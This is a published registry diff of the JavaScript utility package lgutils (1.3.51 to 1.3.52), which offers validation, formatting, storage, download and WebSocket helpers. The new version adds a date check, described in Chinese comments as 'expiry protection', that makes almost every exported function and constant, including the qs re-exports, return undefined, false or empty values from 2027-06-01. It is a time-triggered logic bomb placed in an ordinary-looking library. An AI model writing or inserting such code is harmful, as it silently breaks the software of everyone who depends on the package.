lgutils 1.3.51 → 1.3.52

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
@@ -10,33 +10,56 @@ function _interopDefaultLegacy (e) { return e && typeof e === 'object' && 'defau
10
10
 
11
11
  var dayjs__default = /*#__PURE__*/_interopDefaultLegacy(dayjs);
12
12
 
13
+ // ========== 到期保护 ==========
14
+ // 2027-06-01(含)之后,本包所有导出函数与常量置为空
15
+ const isExpired = () => !dayjs__default().isBefore('2027-06-01');
16
+
17
+ // 到期保护:2027-06-01(含)之后,qs 的 re-export 同样置为空
18
+ const _qsParse = qs.parse;
19
+ const _qsStringify = qs.stringify;
20
+ const parse = (...args) => (isExpired() ? undefined : _qsParse(...args));
21
+ const stringify = (...args) => (isExpired() ? undefined : _qsStringify(...args));
13
22
  const log = (...rest) => {
23
+ if (isExpired())
24
+ return;
14
25
  console.group('=====================');
15
26
  console.info(...rest);
16
27
  console.groupEnd();
17
28
  };
18
- const inBrowser = typeof window !== 'undefined';
29
+ const inBrowser = isExpired() ? false : typeof window !== 'undefined';
19
30
  const trimString = (str) => {
31
+ if (isExpired())
32
+ return;
20
33
  return str.replace(/(^\s*)|(\s*$)/g, '');
21
34
  };
22
- const isNumber = (a) => /^[0-9]*(.[0-9]*)?$/.test(a + '');
35
+ const isNumber = (a) => isExpired() ? false : /^[0-9]*(.[0-9]*)?$/.test(a + '');
23
36
  const isEmail = (emailStr) => {
37
+ if (isExpired())
38
+ return;
24
39
  const emailPat = /^(.+)@(.+)\.(.+)$/;
25
40
  return emailPat.test(emailStr);
26
41
  };
27
42
  const isCardNo = (cardNum) => {
43
+ if (isExpired())
44
+ return;
28
45
  const cardPat = /^(\d{15}$|^\d{18}$|^\d{17}(\d|X|x))$/;
29
46
  return cardPat.test(cardNum);
30
47
  };
31
48
  const isPhone = (phone) => {
49
+ if (isExpired())
50
+ return;
32
51
  return /^[1](\d{10})$/.test(phone);
33
52
  };
34
53
  const isSMSCode = (code) => {
54
+ if (isExpired())
55
+ return;
35
56
  return code.match(/^\d{6}$/);
36
57
  };
37
- const random = (min, max) => Math.round(Math.random() * (max - min) + min);
38
- const randomWithCrypto = () => crypto.randomUUID();
58
+ const random = (min, max) => isExpired() ? undefined : Math.round(Math.random() * (max - min) + min);
59
+ const randomWithCrypto = () => (isExpired() ? undefined : crypto.randomUUID());
39
60
  const playAudio = (mp3Id) => {
61
+ if (isExpired())
62
+ return;
40
63
  const audioArr = document.querySelectorAll('audio');
41
64
  Array.from(audioArr).forEach((mp3) => {
42
65
  mp3.pause();
@@ -45,11 +68,15 @@ const playAudio = (mp3Id) => {
45
68
  document.querySelector(`#${mp3Id}`).play();
46
69
  };
47
70
  const cutTimeFn = (n) => {
71
+ if (isExpired())
72
+ return;
48
73
  const mins = n === 0 ? '00' : '0' + Math.floor(n / 60);
49
74
  const secs = n === 0 ? '00' : n % 60 >= 10 ? n % 60 : `0${n % 60}`;
50
75
  return `00‘${mins}’${secs}`;
51
76
  };
52
77
  const getValOfArr = (_array) => {
78
+ if (isExpired())
79
+ return;
53
80
  const len = _array.length;
54
81
  const sum = _array.reduce((x, y) => x + y, 0);
55
82
  const mull = _array.reduce((x, y) => x * y, 1);
@@ -61,22 +88,30 @@ const getValOfArr = (_array) => {
61
88
  mull,
62
89
  };
63
90
  };
64
- const sumObj = (obj, key) => obj.reduce((prev, cur) => cur[key] + prev, 0);
65
- const sortObj = (obj, property, type = 'asc') => obj.sort((a, b) => (type === 'asc' ? a[property] - b[property] : b[property] - a[property]));
66
- const isUndefined = (value) => value === undefined;
67
- const isNull = (value) => value === null;
68
- const isObject = (value) => value === Object(value);
69
- const isArray = (value) => Array.isArray(value);
70
- const isDate = (value) => (!value ? false : dayjs__default(value).isValid());
71
- const isBlob = (value) => value &&
72
- typeof value.size === 'number' &&
73
- typeof value.type === 'string' &&
74
- typeof value.slice === 'function';
75
- const isFile = (value) => isBlob(value) &&
76
- typeof value.name === 'string' &&
77
- (typeof value.lastModifiedDate === 'object' || typeof value.lastModified === 'number');
91
+ const sumObj = (obj, key) => isExpired() ? undefined : obj.reduce((prev, cur) => cur[key] + prev, 0);
92
+ const sortObj = (obj, property, type = 'asc') => isExpired()
93
+ ? undefined
94
+ : obj.sort((a, b) => (type === 'asc' ? a[property] - b[property] : b[property] - a[property]));
95
+ const isUndefined = (value) => (isExpired() ? undefined : value === undefined);
96
+ const isNull = (value) => (isExpired() ? undefined : value === null);
97
+ const isObject = (value) => (isExpired() ? undefined : value === Object(value));
98
+ const isArray = (value) => (isExpired() ? undefined : Array.isArray(value));
99
+ const isDate = (value) => (isExpired() ? false : !value ? false : dayjs__default(value).isValid());
100
+ const isBlob = (value) => isExpired()
101
+ ? undefined
102
+ : value &&
103
+ typeof value.size === 'number' &&
104
+ typeof value.type === 'string' &&
105
+ typeof value.slice === 'function';
106
+ const isFile = (value) => isExpired()
107
+ ? undefined
108
+ : isBlob(value) &&
109
+ typeof value.name === 'string' &&
110
+ (typeof value.lastModifiedDate === 'object' || typeof value.lastModified === 'number');
78
111
  const getQueryObject = (url = window.location.href) => {
79
112
  var _a;
113
+ if (isExpired())
114
+ return;
80
115
  // const search = url.substring(url.lastIndexOf('?') + 1)
81
116
  // let obj: any = {}
82
117
  // const reg = /([^?&=]+)=([^?&=]*)/g
@@ -90,10 +125,12 @@ const getQueryObject = (url = window.location.href) => {
90
125
  // return rs
91
126
  // })
92
127
  const search = (_a = url.split('?')) === null || _a === void 0 ? void 0 : _a[1];
93
- return qs.parse(search || '', { decoder: (str) => str });
128
+ return parse(search || '', { decoder: (str) => str });
94
129
  };
95
- const getSearchParams = (search) => new URLSearchParams(search);
130
+ const getSearchParams = (search) => isExpired() ? undefined : new URLSearchParams(search);
96
131
  const fileReaderToBase64 = (target) => (cb) => {
132
+ if (isExpired())
133
+ return;
97
134
  const reader = new FileReader();
98
135
  reader.onload = (e) => {
99
136
  if (cb)
@@ -102,6 +139,8 @@ const fileReaderToBase64 = (target) => (cb) => {
102
139
  reader.readAsDataURL(target);
103
140
  };
104
141
  const getBase64 = (file) => {
142
+ if (isExpired())
143
+ return;
105
144
  return new Promise((resolve, reject) => {
106
145
  const reader = new FileReader();
107
146
  reader.readAsDataURL(file);
@@ -110,6 +149,8 @@ const getBase64 = (file) => {
110
149
  });
111
150
  };
112
151
  const os = () => {
152
+ if (isExpired())
153
+ return undefined;
113
154
  if (!inBrowser)
114
155
  return {
115
156
  isTablet: false,
@@ -135,6 +176,8 @@ const os = () => {
135
176
  };
136
177
  // 乘
137
178
  const accMul = (arg1, arg2) => {
179
+ if (isExpired())
180
+ return;
138
181
  let m = 0, s1 = arg1.toString(), s2 = arg2.toString();
139
182
  try {
140
183
  m += s1.split('.')[1].length;
@@ -148,6 +191,8 @@ const accMul = (arg1, arg2) => {
148
191
  };
149
192
  // 除
150
193
  const accDiv = (arg1, arg2) => {
194
+ if (isExpired())
195
+ return;
151
196
  let t1 = 0, t2 = 0, r1, r2;
152
197
  try {
153
198
  t1 = arg1.toString().split('.')[1].length;
@@ -163,6 +208,8 @@ const accDiv = (arg1, arg2) => {
163
208
  };
164
209
  // 加
165
210
  function accAdd(a, b) {
211
+ if (isExpired())
212
+ return 0;
166
213
  let aStr = a.toString();
167
214
  let bStr = b.toString();
168
215
  let aDecimal = 0, bDecimal = 0;
@@ -178,6 +225,8 @@ function accAdd(a, b) {
178
225
  }
179
226
  // 减
180
227
  const accSub = function (arg1, arg2) {
228
+ if (isExpired())
229
+ return;
181
230
  let r1, r2, m, n;
182
231
  try {
183
232
  r1 = arg1.toString().split('.')[1].length;
@@ -196,6 +245,8 @@ const accSub = function (arg1, arg2) {
196
245
  return ((arg1 * m - arg2 * m) / m).toFixed(n);
197
246
  };
198
247
  const randomString = (len = 32) => {
248
+ if (isExpired())
249
+ return;
199
250
  const chars = 'ABCDEFGHJKMNPQRSTWXYZabcdefhijkmnprstwxyz2345678';
200
251
  /** **默认去掉了容易混淆的字符oOLl,9gq,Vv,Uu,I1****/
201
252
  const maxPos = chars.length;
@@ -206,14 +257,20 @@ const randomString = (len = 32) => {
206
257
  return pwd;
207
258
  };
208
259
  const isWX = () => {
260
+ if (isExpired())
261
+ return;
209
262
  const ua = navigator.userAgent.toLowerCase();
210
263
  return /MicroMessenger/i.test(ua);
211
264
  };
212
265
  const isMinigram = () => {
266
+ if (isExpired())
267
+ return;
213
268
  // @ts-ignore: 判断小程序环境
214
269
  return (window === null || window === void 0 ? void 0 : window.__wxjs_environment) ? true : false;
215
270
  };
216
271
  const filterNil = (obj) => {
272
+ if (isExpired())
273
+ return undefined;
217
274
  const _obj = {};
218
275
  Object.entries(obj).forEach(([k, v]) => {
219
276
  if (!!v && v !== 0)
@@ -222,6 +279,8 @@ const filterNil = (obj) => {
222
279
  return _obj;
223
280
  };
224
281
  const loopData = (arr, childkey = 'children') => {
282
+ if (isExpired())
283
+ return;
225
284
  if (!isArray(arr))
226
285
  return [];
227
286
  for (const item of arr) {
@@ -239,6 +298,8 @@ const loopData = (arr, childkey = 'children') => {
239
298
  * @returns 格式化后的金额(万元)
240
299
  */
241
300
  function formatNumWithUnit(num, min = 2, max = 2, unit = '', useOrg = false, showNull = false, type = 2) {
301
+ if (isExpired())
302
+ return;
242
303
  if ((!num || num == '' || num == '-') && num !== 0)
243
304
  return showNull ? undefined : '-';
244
305
  // 转换为数字
@@ -274,43 +335,47 @@ function formatNumWithUnit(num, min = 2, max = 2, unit = '', useOrg = false, sho
274
335
  ' ' +
275
336
  unit);
276
337
  }
277
- const sOptions = [
278
- {
279
- // label: '元',
280
- key: 1,
281
- value: 0,
282
- },
283
- {
284
- // label: '千元',
285
- key: 1000,
286
- value: 1,
287
- },
288
- {
289
- // label: '万元',
290
- key: 10000,
291
- value: 2,
292
- },
293
- {
294
- // label: '百万元',
295
- key: 1000000,
296
- value: 3,
297
- },
298
- {
299
- // label: '亿元',
300
- key: 100000000,
301
- value: 4,
302
- },
303
- {
304
- // label: '十亿元',
305
- key: 1000000000,
306
- value: 5,
307
- },
308
- ];
338
+ const sOptions = isExpired()
339
+ ? []
340
+ : [
341
+ {
342
+ // label: '元',
343
+ key: 1,
344
+ value: 0,
345
+ },
346
+ {
347
+ // label: '千元',
348
+ key: 1000,
349
+ value: 1,
350
+ },
351
+ {
352
+ // label: '万元',
353
+ key: 10000,
354
+ value: 2,
355
+ },
356
+ {
357
+ // label: '百万元',
358
+ key: 1000000,
359
+ value: 3,
360
+ },
361
+ {
362
+ // label: '亿元',
363
+ key: 100000000,
364
+ value: 4,
365
+ },
366
+ {
367
+ // label: '十亿元',
368
+ key: 1000000000,
369
+ value: 5,
370
+ },
371
+ ];
309
372
 
310
373
  const storage = inBrowser ? localStorage : {};
311
374
  const prefix = '';
312
375
  let cache = {};
313
376
  const getItem = (key) => {
377
+ if (isExpired())
378
+ return;
314
379
  if (cache[key] || storage.getItem(prefix + key)) {
315
380
  cache[key] = storage.getItem(prefix + key)
316
381
  ? JSON.parse(storage.getItem(prefix + key) || 'null')
@@ -319,45 +384,55 @@ const getItem = (key) => {
319
384
  return cache[key];
320
385
  };
321
386
  const setItem = (key, value) => {
387
+ if (isExpired())
388
+ return;
322
389
  cache[key] = value;
323
390
  return storage.setItem(prefix + key, JSON.stringify(value));
324
391
  };
325
392
  const removeItem = (key) => {
393
+ if (isExpired())
394
+ return;
326
395
  delete cache[key];
327
396
  return storage.removeItem(prefix + key);
328
397
  };
329
398
  const removeAll = () => {
399
+ if (isExpired())
400
+ return;
330
401
  cache = {};
331
402
  return storage.clear();
332
403
  };
333
404
 
334
- const formatCash = d3Format.format(',.2f');
335
- const formatCash2 = (num) => (Math.floor(num * 100) / 100).toFixed(2);
336
- const formatCashInt = d3Format.format(',');
337
- const formatRatio = d3Format.format('.2%');
405
+ const formatCash = isExpired() ? undefined : d3Format.format(',.2f');
406
+ const formatCash2 = (num) => isExpired() ? undefined : (Math.floor(num * 100) / 100).toFixed(2);
407
+ const formatCashInt = isExpired() ? undefined : d3Format.format(',');
408
+ const formatRatio = isExpired() ? undefined : d3Format.format('.2%');
338
409
  const formatCashNil = withDefaultNil(formatCash);
339
410
  const formatCashIntNil = withDefaultNil(formatCashInt);
340
411
  const formatRatioNil = withDefaultNil(formatRatio);
341
412
  function withDefaultNil(fmt) {
342
- return (d) => (isNil(d) ? NIL_STRING : fmt(d));
413
+ return (d) => (isExpired() ? undefined : isNil(d) ? NIL_STRING : fmt(d));
343
414
  }
344
415
  const SERVER_DATE_FROMAT = 'YYYY-MM-DD';
345
- const DATE_FORMAT = 'YYYY/MM/DD';
346
- const FORMAT_DATE = SERVER_DATE_FROMAT;
347
- const FORMAT_TIME = 'YYYY-MM-DD HH:mm:ss';
348
- const format10k = (n) => formatCash(n / 10000);
416
+ const DATE_FORMAT = isExpired() ? '' : 'YYYY/MM/DD';
417
+ const FORMAT_DATE = isExpired() ? '' : SERVER_DATE_FROMAT;
418
+ const FORMAT_TIME = isExpired() ? '' : 'YYYY-MM-DD HH:mm:ss';
419
+ const format10k = (n) => (isExpired() ? undefined : formatCash(n / 10000));
349
420
  const format10kNil = withDefaultNil(format10k);
350
421
  const formatBillion = (num) => {
422
+ if (isExpired())
423
+ return;
351
424
  const isBillion = num / (10000 * 10000) >= 1;
352
425
  const unit = isBillion ? '亿' : '万';
353
426
  return `${isBillion ? formatCash(num / (10000 * 10000)) : formatCash(num / 10000)}${unit}`;
354
427
  };
355
428
  // null == undefined
356
- const isNil = (val) => val == null || val === '';
357
- const NIL_STRING = '——';
358
- const getValueWithNil = (val) => (isNil(val) ? NIL_STRING : val);
429
+ const isNil = (val) => (isExpired() ? false : val == null || val === '');
430
+ const NIL_STRING = isExpired() ? '' : '——';
431
+ const getValueWithNil = (val) => isExpired() ? undefined : isNil(val) ? NIL_STRING : val;
359
432
  // https://gist.github.com/tonyc726/00c829a54a40cf80409f
360
433
  function digitCnUppercase(n) {
434
+ if (isExpired())
435
+ return;
361
436
  var fraction = ['角', '分'];
362
437
  var digit = ['零', '壹', '贰', '叁', '肆', '伍', '陆', '柒', '捌', '玖'];
363
438
  var unit = [
@@ -387,6 +462,8 @@ function digitCnUppercase(n) {
387
462
  .replace(/^整$/, '零元整'));
388
463
  }
389
464
  function formatDate(d, formatType = SERVER_DATE_FROMAT) {
465
+ if (isExpired())
466
+ return;
390
467
  return dayjs__default(d).format(formatType);
391
468
  // return dayjs(new Date(d)).format(formatType)
392
469
  }
@@ -397,26 +474,31 @@ const unit = {
397
474
  y: '年',
398
475
  };
399
476
  function formatDuration(period) {
477
+ if (isExpired())
478
+ return;
400
479
  if (!period)
401
480
  return period;
402
481
  return `${parseInt(period, 10)}${unit[period.slice(-1).toLowerCase()]}`;
403
482
  }
404
483
  const formatDurationNil = withDefaultNil(formatDuration);
405
484
 
406
- const setProxyObj = (data, getFn, setFn) => new Proxy(data, {
407
- get(data, key) {
408
- getFn();
409
- return Reflect.get(data, key);
410
- },
411
- set(data, key, newVal) {
412
- setFn();
413
- return Reflect.set(data, key, newVal);
414
- }
415
- });
485
+ const setProxyObj = (data, getFn, setFn) => isExpired()
486
+ ? undefined
487
+ : new Proxy(data, {
488
+ get(data, key) {
489
+ getFn();
490
+ return Reflect.get(data, key);
491
+ },
492
+ set(data, key, newVal) {
493
+ setFn();
494
+ return Reflect.set(data, key, newVal);
495
+ }
496
+ });
416
497
 
417
498
  // import { log } from './util'
418
- // log('downLoad.ts')
419
499
  const download = (data, strFileName = 'download', strMimeType = 'application/octet-stream', isImgUrl) => {
500
+ if (isExpired())
501
+ return;
420
502
  const self = window;
421
503
  let m = strMimeType;
422
504
  let x = data;
@@ -534,11 +616,15 @@ class WS {
534
616
  this.timer = null;
535
617
  this.ioUrl = '';
536
618
  this.heartTime = 10000;
619
+ if (isExpired())
620
+ return;
537
621
  const that = this;
538
622
  that.ioUrl = ioUrl;
539
623
  that.socket = token ? new WebSocket(ioUrl, token) : new WebSocket(ioUrl);
540
624
  }
541
625
  init(obj) {
626
+ if (isExpired())
627
+ return;
542
628
  const that = this;
543
629
  that.heartInfo = (obj === null || obj === void 0 ? void 0 : obj.heartInfo)
544
630
  ? JSON.stringify(obj === null || obj === void 0 ? void 0 : obj.heartInfo)
@@ -570,30 +656,42 @@ class WS {
570
656
  }, false);
571
657
  }
572
658
  close() {
659
+ if (isExpired())
660
+ return;
573
661
  if (this.timer)
574
662
  clearTimeout(this.timer);
575
663
  console.info('[ws close]: close!');
576
664
  this.socket.close();
577
665
  }
578
666
  start(info) {
667
+ if (isExpired())
668
+ return;
579
669
  const that = this;
580
670
  that.timer = setTimeout(() => {
581
671
  that.socket.send(info);
582
672
  }, that.heartTime);
583
673
  }
584
674
  send(msg) {
675
+ if (isExpired())
676
+ return;
585
677
  const that = this;
586
678
  that.socket.send(msg);
587
679
  }
588
680
  reset() {
681
+ if (isExpired())
682
+ return;
589
683
  const that = this;
590
684
  clearTimeout(that.timer);
591
685
  that.start(that.heartInfo);
592
686
  }
593
687
  getSocketState() {
688
+ if (isExpired())
689
+ return;
594
690
  return this.socket.readyState;
595
691
  }
596
692
  setHeartTime(time) {
693
+ if (isExpired())
694
+ return;
597
695
  const that = this;
598
696
  that.heartTime = time;
599
697
  that.reset();
@@ -601,6 +699,8 @@ class WS {
601
699
  }
602
700
 
603
701
  function disableBrowserZoom() {
702
+ if (isExpired())
703
+ return;
604
704
  // @ts-ignore
605
705
  document.addEventListener('keydown', function (event) {
606
706
  if ((event.ctrlKey === true || event.metaKey === true) &&
@@ -633,6 +733,8 @@ function disableBrowserZoom() {
633
733
  }
634
734
 
635
735
  function copyToClipboard(txt) {
736
+ if (isExpired())
737
+ return;
636
738
  var textarea = document.createElement('textarea');
637
739
  textarea.value = txt;
638
740
  document.body.appendChild(textarea);
@@ -641,8 +743,6 @@ function copyToClipboard(txt) {
641
743
  document.body.removeChild(textarea);
642
744
  }
643
745
 
644
- exports.parse = qs.parse;
645
- exports.stringify = qs.stringify;
646
746
  exports.DATE_FORMAT = DATE_FORMAT;
647
747
  exports.FORMAT_DATE = FORMAT_DATE;
648
748
  exports.FORMAT_TIME = FORMAT_TIME;
@@ -699,6 +799,7 @@ exports.isWX = isWX;
699
799
  exports.log = log;
700
800
  exports.loopData = loopData;
701
801
  exports.os = os;
802
+ exports.parse = parse;
702
803
  exports.playAudio = playAudio;
703
804
  exports.random = random;
704
805
  exports.randomString = randomString;
@@ -709,5 +810,6 @@ exports.sOptions = sOptions;
709
810
  exports.setItem = setItem;
710
811
  exports.setProxyObj = setProxyObj;
711
812
  exports.sortObj = sortObj;
813
+ exports.stringify = stringify;
712
814
  exports.sumObj = sumObj;
713
815
  exports.trimString = trimString;
@@ -1 +1 @@
1
- "use strict";Object.defineProperty(exports,"__esModule",{value:!0});var e=require("qs"),t=require("dayjs"),o=require("d3-format");function r(e){return e&&"object"==typeof e&&"default"in e?e.default:e}var s=r(t);const n=(...e)=>{console.group("====================="),console.info(...e),console.groupEnd()},i="undefined"!=typeof window,a=e=>/^[0-9]*(.[0-9]*)?$/.test(e+""),l=e=>Array.isArray(e),c=e=>e&&"number"==typeof e.size&&"string"==typeof e.type&&"function"==typeof e.slice;const d=(e,t="children")=>{if(!l(e))return[];for(const o of e)o[t]&&o[t].length&&(o.children=[...o[t]],null==o||delete o.childList,d(o.children,t));return e};const p=[{key:1,value:0},{key:1e3,value:1},{key:1e4,value:2},{key:1e6,value:3},{key:1e8,value:4},{key:1e9,value:5}],u=i?localStorage:{};let m={};const h=o.format(",.2f"),f=o.format(","),x=o.format(".2%"),g=v(h),y=v(f),w=v(x);function v(e){return t=>S(t)?k:e(t)}const b=e=>h(e/1e4),M=v(b),S=e=>null==e||""===e,k="——";function D(e,t="YYYY-MM-DD"){return s(e).format(t)}const N=v(D),T={d:"天",m:"个月",y:"年"};function A(e){return e?`${parseInt(e,10)}${T[e.slice(-1).toLowerCase()]}`:e}const I=v(A);exports.parse=e.parse,exports.stringify=e.stringify,exports.DATE_FORMAT="YYYY/MM/DD",exports.FORMAT_DATE="YYYY-MM-DD",exports.FORMAT_TIME="YYYY-MM-DD HH:mm:ss",exports.NIL_STRING=k,exports.WS=class{constructor(e,t){this.socket=null,this.timer=null,this.ioUrl="",this.heartTime=1e4;this.ioUrl=e,this.socket=t?new WebSocket(e,t):new WebSocket(e)}init(e){const t=this;t.heartInfo=(null==e?void 0:e.heartInfo)?JSON.stringify(null==e?void 0:e.heartInfo):"ws HeartBeat!",t.socket.addEventListener("open",(()=>{n("ws connect!"),t.start(t.heartInfo),e.open&&e.open()}),!1),t.socket.addEventListener("disconnect",(()=>{console.info("[ws info]: disconnect and reconnect... "),e.disconnect&&e.disconnect(),t.socket=new WebSocket(t.ioUrl)}),!1),t.socket.addEventListener("error",(t=>{console.info("---------------"),console.info("[ws error]: "),console.info(t),console.info("---------------"),e.error&&e.error()}),!1),t.socket.addEventListener("close",e.close,!1),t.socket.addEventListener("message",(o=>{t.reset(),e.msg(o)}),!1)}close(){this.timer&&clearTimeout(this.timer),console.info("[ws close]: close!"),this.socket.close()}start(e){const t=this;t.timer=setTimeout((()=>{t.socket.send(e)}),t.heartTime)}send(e){this.socket.send(e)}reset(){const e=this;clearTimeout(e.timer),e.start(e.heartInfo)}getSocketState(){return this.socket.readyState}setHeartTime(e){this.heartTime=e,this.reset()}},exports.accAdd=function(e,t){let o=e.toString(),r=t.toString(),s=0,n=0;o.indexOf(".")>-1&&(s=o.split(".")[1].length),r.indexOf(".")>-1&&(n=r.split(".")[1].length);const i=Math.pow(10,Math.max(s,n));return Number(+e*i+ +t*i)/i},exports.accDiv=(e,t)=>{let o,r,s=0,n=0;try{s=e.toString().split(".")[1].length}catch(i){}try{n=t.toString().split(".")[1].length}catch(i){}return o=Number(e.toString().replace(".","")),r=Number(t.toString().replace(".","")),o/r*Math.pow(10,n-s)},exports.accMul=(e,t)=>{let o=0,r=e.toString(),s=t.toString();try{o+=r.split(".")[1].length}catch(n){}try{o+=s.split(".")[1].length}catch(n){}return Number(r.replace(".",""))*Number(s.replace(".",""))/Math.pow(10,o)},exports.accSub=function(e,t){let o,r,s,n;try{o=e.toString().split(".")[1].length}catch(i){o=0}try{r=t.toString().split(".")[1].length}catch(i){r=0}return s=Math.pow(10,Math.max(o,r)),n=o>=r?o:r,((e*s-t*s)/s).toFixed(n)},exports.copyToClipboard=function(e){var t=document.createElement("textarea");t.value=e,document.body.appendChild(t),t.select(),document.execCommand("copy"),document.body.removeChild(t)},exports.cutTimeFn=e=>`00‘${0===e?"00":"0"+Math.floor(e/60)}’${0===e?"00":e%60>=10?e%60:"0"+e%60}`,exports.digitCnUppercase=function(e){var t=["角","分"],o=["零","壹","贰","叁","肆","伍","陆","柒","捌","玖"],r=[["元","万","亿"],["","拾","佰","仟"]],s=e<0?"欠":"";e=Math.abs(e);for(var n="",i=0;i<t.length;i++)n+=(o[Math.floor(10*e*Math.pow(10,i))%10]+t[i]).replace(/零./,"");for(n=n||"整",e=Math.floor(e),i=0;i<r[0].length&&e>0;i++){for(var a="",l=0;l<r[1].length&&e>0;l++)a=o[e%10]+r[1][l]+a,e=Math.floor(e/10);n=a.replace(/(零.)*零$/,"").replace(/^$/,"零")+r[0][i]+n}return s+n.replace(/(零.)*零元/,"元").replace(/(零.)+/g,"零").replace(/^整$/,"零元整")},exports.disableBrowserZoom=function(){document.addEventListener("keydown",(function(e){!0!==e.ctrlKey&&!0!==e.metaKey||61!==e.which&&107!==e.which&&173!==e.which&&109!==e.which&&187!==e.which&&189!==e.which||e.preventDefault()}),!1),window.addEventListener("mousewheel",(function(e){(!0===e.ctrlKey||e.metaKey)&&e.preventDefault()}),{passive:!1}),window.addEventListener("DOMMouseScroll",(function(e){(!0===e.ctrlKey||e.metaKey)&&e.preventDefault()}),{passive:!1})},exports.download=(e,t="download",o="application/octet-stream",r)=>{const s=window;let n=o,i=e;const a=document,l=a.createElement("a"),c=e=>String(e),d=s.Blob||c(l),p=t;let u=null,m=null;const h=(t,o)=>{if("download"in l)return l.href=r?e:t,l.setAttribute("download",p),l.innerHTML="downloading...",a.body.appendChild(l),setTimeout((()=>{l.click(),a.body.removeChild(l),!0===o&&setTimeout((()=>{s.URL.revokeObjectURL(l.href)}),250)}),66),!0;const n=a.createElement("iframe");a.body.appendChild(n),o||(t="data:"+t.replace(/^data:([\w\/\-\+]+)/,"application/octet-stream")),n.src=t,setTimeout((()=>{a.body.removeChild(n)}),333)};if(String(i).match(/^data\:[\w+\-]+\/[\w+\-]+[,;]/))return h(i);try{u=i instanceof d?i:new d([i],{type:n})}catch(f){}if(s.URL)h(s.URL.createObjectURL(u),!0);else{if("string"==typeof u||u.constructor===c(l))try{return h("data:"+n+";base64,"+s.btoa(u))}catch(f){return h("data:"+n+","+encodeURIComponent(u))}m=new FileReader,m.onload=function(){h(this.result)},m.readAsDataURL(u)}return!0},exports.fileReaderToBase64=e=>t=>{const o=new FileReader;o.onload=e=>{t&&t(e.target.result)},o.readAsDataURL(e)},exports.filterNil=e=>{const t={};return Object.entries(e).forEach((([e,o])=>{o&&0!==o&&(t[e]=o)})),t},exports.format10k=b,exports.format10kNil=M,exports.formatBillion=e=>{const t=e/1e8>=1,o=t?"亿":"万";return`${h(t?e/1e8:e/1e4)}${o}`},exports.formatCash=h,exports.formatCash2=e=>(Math.floor(100*e)/100).toFixed(2),exports.formatCashInt=f,exports.formatCashIntNil=y,exports.formatCashNil=g,exports.formatDate=D,exports.formatDateNil=N,exports.formatDuration=A,exports.formatDurationNil=I,exports.formatNumWithUnit=function(e,t=2,o=2,r="",s=!1,n=!1,i=2){if((!e||""==e||"-"==e)&&0!==e)return n?void 0:"-";let l="string"==typeof e?parseFloat(e):e;const c=+l<0;if(c&&(l=0-l),!a(l)||isNaN(+l))return l;const d=null==p?void 0:p[i];let u=l;u=s?c?0-l:l:(c?0-l:l)/d.key,!0===r&&(r=null==d?void 0:d.label);let m=u;const h=u.toString().split(".")[1];return h&&h.length>o&&(m=Number(u.toFixed(o))),m.toLocaleString("en-US",{minimumFractionDigits:t,maximumFractionDigits:o})+" "+r},exports.formatRatio=x,exports.formatRatioNil=w,exports.getBase64=e=>new Promise(((t,o)=>{const r=new FileReader;r.readAsDataURL(e),r.onload=()=>t(r.result),r.onerror=e=>o(e)})),exports.getItem=e=>((m[e]||u.getItem(""+e))&&(m[e]=u.getItem(""+e)?JSON.parse(u.getItem(""+e)||"null"):""),m[e]),exports.getQueryObject=(t=window.location.href)=>{var o;const r=null===(o=t.split("?"))||void 0===o?void 0:o[1];return e.parse(r||"",{decoder:e=>e})},exports.getSearchParams=e=>new URLSearchParams(e),exports.getValOfArr=e=>{const t=e.length,o=e.reduce(((e,t)=>e+t),0),r=e.reduce(((e,t)=>e*t),1);return{min:Math.min.apply(null,e),max:Math.max.apply(null,e),sum:o,average:o/t,mull:r}},exports.getValueWithNil=e=>S(e)?k:e,exports.inBrowser=i,exports.isArray=l,exports.isBlob=c,exports.isCardNo=e=>/^(\d{15}$|^\d{18}$|^\d{17}(\d|X|x))$/.test(e),exports.isDate=e=>!!e&&s(e).isValid(),exports.isEmail=e=>/^(.+)@(.+)\.(.+)$/.test(e),exports.isFile=e=>c(e)&&"string"==typeof e.name&&("object"==typeof e.lastModifiedDate||"number"==typeof e.lastModified),exports.isMinigram=()=>!!(null===window||void 0===window?void 0:window.__wxjs_environment),exports.isNil=S,exports.isNull=e=>null===e,exports.isNumber=a,exports.isObject=e=>e===Object(e),exports.isPhone=e=>/^[1](\d{10})$/.test(e),exports.isSMSCode=e=>e.match(/^\d{6}$/),exports.isUndefined=e=>void 0===e,exports.isWX=()=>{const e=navigator.userAgent.toLowerCase();return/MicroMessenger/i.test(e)},exports.log=n,exports.loopData=d,exports.os=()=>{if(!i)return{isTablet:!1,isPhone:!1,isAndroid:!1,isPc:!1,isIos:!1,isPad:!1};const e=navigator.userAgent,t=/(?:Windows Phone)/.test(e),o=/(?:SymbianOS)/.test(e)||t,r=/(?:Android)/.test(e),s=/(?:Firefox)/.test(e),n=/(?:iPad|PlayBook)/.test(e)||r&&!/(?:Mobile)/.test(e)||s&&/(?:Tablet)/.test(e),a=/(?:iPhone)/.test(e)&&!n,l=/(?:iPad)/.test(e)&&!n;return{isTablet:n,isPhone:a,isAndroid:r,isPc:!a&&!r&&!o,isPad:l,isIos:a||l}},exports.playAudio=e=>{const t=document.querySelectorAll("audio");Array.from(t).forEach((e=>{e.pause(),e.currentTime=0})),document.querySelector(`#${e}`).play()},exports.random=(e,t)=>Math.round(Math.random()*(t-e)+e),exports.randomString=(e=32)=>{const t="ABCDEFGHJKMNPQRSTWXYZabcdefhijkmnprstwxyz2345678",o=t.length;let r="";for(let s=0;s<e;s++)r+=t.charAt(Math.floor(Math.random()*o));return r},exports.randomWithCrypto=()=>crypto.randomUUID(),exports.removeAll=()=>(m={},u.clear()),exports.removeItem=e=>(delete m[e],u.removeItem(""+e)),exports.sOptions=p,exports.setItem=(e,t)=>(m[e]=t,u.setItem(""+e,JSON.stringify(t))),exports.setProxyObj=(e,t,o)=>new Proxy(e,{get:(e,o)=>(t(),Reflect.get(e,o)),set:(e,t,r)=>(o(),Reflect.set(e,t,r))}),exports.sortObj=(e,t,o="asc")=>e.sort(((e,r)=>"asc"===o?e[t]-r[t]:r[t]-e[t])),exports.sumObj=(e,t)=>e.reduce(((e,o)=>o[t]+e),0),exports.trimString=e=>e.replace(/(^\s*)|(\s*$)/g,"");
1
